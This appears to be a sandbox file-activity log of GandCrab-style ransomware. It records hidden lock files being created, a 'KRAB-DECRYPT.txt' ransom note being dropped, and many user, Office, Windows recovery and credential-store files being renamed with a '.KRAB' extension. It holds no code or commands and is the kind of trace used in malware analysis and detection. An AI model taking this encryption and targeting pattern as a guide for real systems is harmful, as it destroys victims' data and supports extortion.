Create C:\Users\Public\Pictures\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Public\Videos\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\Public\Videos\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Move C:\Recovery\WindowsRE\boot.sdi.KRAB source_filename = C:\Recovery\WindowsRE\boot.sdi True 1
Fn
Move C:\Recovery\WindowsRE\ReAgent.xml.KRAB source_filename = C:\Recovery\WindowsRE\ReAgent.xml True 1
Fn
Move C:\Recovery\WindowsRE\Winre.wim.KRAB source_filename = C:\Recovery\WindowsRE\Winre.wim True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\1kyvuc.mp4.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\1kyvuc.mp4 True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\3JIaQ04Ky Uur8j.wav.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\3JIaQ04Ky Uur8j.wav True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\4 XO3.pdf.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\4 XO3.pdf True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\7bsumngp.pptx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\7bsumngp.pptx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\7jr7I.avi.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\7jr7I.avi True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\LogTransport2\LogTransport2.cfg.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\LogTransport2\LogTransport2.cfg True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Sonar\Sonar1.0\sonar_policy.xml.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Sonar\Sonar1.0\sonar_policy.xml True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\AiUWcWXY-.csv.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\AiUWcWXY-.csv True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\aoUv2Yf_F8W.odp.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\aoUv2Yf_F8W.odp True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\DW-yZoud-.gif.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\DW-yZoud-.gif True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\e-ADlMBN_O.mp4.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\e-ADlMBN_O.mp4 True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\FupPB_5g.gif.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\FupPB_5g.gif True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\IDWv6mYH.mkv.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\IDWv6mYH.mkv True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\iQnDpe005_pHgwX76V8.jpg.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\iQnDpe005_pHgwX76V8.jpg True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\jEq3czG5M-p8F-9M8ls.m4a.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\jEq3czG5M-p8F-9M8ls.m4a True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\jpg95_MxI58ijuhWkA1.gif.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\jpg95_MxI58ijuhWkA1.gif True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\settings.sol.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\settings.sol True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Access\AccessCache.accdb.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Access\AccessCache.accdb True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Access\System.mdw.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Access\System.mdw True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\APASixthEditionOfficeOnline.xsl.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\APASixthEditionOfficeOnline.xsl True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\CHICAGO.XSL.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\CHICAGO.XSL True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\GB.XSL.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\GB.XSL True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\GostName.XSL.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\GostName.XSL True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\GostTitle.XSL.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\GostTitle.XSL True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\HarvardAnglia2008OfficeOnline.xsl.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\HarvardAnglia2008OfficeOnline.xsl True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\IEEE2006OfficeOnline.xsl.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\IEEE2006OfficeOnline.xsl True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\ISO690.XSL.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\ISO690.XSL True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\ISO690Nmerical.XSL.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\ISO690Nmerical.XSL True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\MLASeventhEditionOfficeOnline.xsl.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\MLASeventhEditionOfficeOnline.xsl True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\SIST02.XSL.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\SIST02.XSL True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\TURABIAN.XSL.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\TURABIAN.XSL True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1462094071-1423818996-289466292-1000\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1462094071-1423818996-289466292-1000\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1462094071-1423818996-289466292-1000\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1462094071-1423818996-289466292-1000\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\Built-In Building Blocks.dotx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\Built-In Building Blocks.dotx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\MS Project\16\en-US\Global.MPT.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\MS Project\16\en-US\Global.MPT True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\MSO1033.acl.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\MSO1033.acl True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\Database1.LNK.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\Database1.LNK True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\Documents.LNK.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\Documents.LNK True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\Global.LNK.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\Global.LNK True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\index.dat.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\index.dat True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\Templates.LNK.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\Templates.LNK True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\OneNote\16.0\Preferences.dat.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\OneNote\16.0\Preferences.dat True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Outlook\Outlook.srs.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Outlook\Outlook.srs True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Outlook\Outlook.xml.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Outlook\Outlook.xml True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\CREDHIST.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\CREDHIST True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\496f2c5b-a90f-4380-b805-3bf6ac63451b.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\496f2c5b-a90f-4380-b805-3bf6ac63451b True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\5b8a3202-35dc-4437-b5d7-374f5e872415.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\5b8a3202-35dc-4437-b5d7-374f5e872415 True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\a0f53be0-84fb-4908-9252-998f080e895a.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\a0f53be0-84fb-4908-9252-998f080e895a True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\d7746ecf-458e-4e71-8557-8ac80457022a.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\d7746ecf-458e-4e71-8557-8ac80457022a True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\Preferred.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\Preferred True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\SYNCHIST.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\SYNCHIST True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Publisher Building Blocks\ContentStore.xml.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Publisher Building Blocks\ContentStore.xml True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Calendar insights.xltm.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Calendar insights.xltm True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Cashflow analysis.xltm.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Cashflow analysis.xltm True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Email Insights.xltm.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Email Insights.xltm True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090430[[fn=Banded]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090430[[fn=Banded]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090434[[fn=Wood Type]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090434[[fn=Wood Type]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457444[[fn=Basis]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457444[[fn=Basis]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457464[[fn=Dividend]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457464[[fn=Dividend]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457475[[fn=Frame]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457475[[fn=Frame]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457485[[fn=Mesh]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457485[[fn=Mesh]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457491[[fn=Metropolitan]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457491[[fn=Metropolitan]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457496[[fn=Parallax]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457496[[fn=Parallax]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457503[[fn=Quotable]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457503[[fn=Quotable]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457510[[fn=Savon]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457510[[fn=Savon]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457515[[fn=View]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457515[[fn=View]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033917[[fn=Berlin]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033917[[fn=Berlin]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033919[[fn=Circuit]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033919[[fn=Circuit]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033921[[fn=Damask]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033921[[fn=Damask]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033925[[fn=Droplet]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033925[[fn=Droplet]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033927[[fn=Main Event]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033927[[fn=Main Event]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033929[[fn=Slate]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033929[[fn=Slate]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033937[[fn=Vapor Trail]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033937[[fn=Vapor Trail]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001103[[fn=Headlines]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001103[[fn=Headlines]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001104[[fn=Feathered]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001104[[fn=Feathered]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001105[[fn=Crop]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001105[[fn=Crop]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001106[[fn=Badge]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001106[[fn=Badge]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001114[[fn=Gallery]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001114[[fn=Gallery]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001115[[fn=Parcel]].thmx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001115[[fn=Parcel]].thmx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328884[[fn=architecture]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328884[[fn=architecture]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328893[[fn=BracketList]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328893[[fn=BracketList]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328905[[fn=Chevron Accent]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328905[[fn=Chevron Accent]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328908[[fn=Circle Process]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328908[[fn=Circle Process]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328916[[fn=Converging Text]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328916[[fn=Converging Text]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328919[[fn=Hexagon Radial]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328919[[fn=Hexagon Radial]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328925[[fn=Interconnected Block Process]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328925[[fn=Interconnected Block Process]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328932[[fn=Picture Frame]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328932[[fn=Picture Frame]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328935[[fn=Picture Organization Chart]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328935[[fn=Picture Organization Chart]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328940[[fn=Radial Picture List]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328940[[fn=Radial Picture List]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328951[[fn=Tabbed Arc]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328951[[fn=Tabbed Arc]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328972[[fn=Tab List]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328972[[fn=Tab List]].glox True 1
Fn
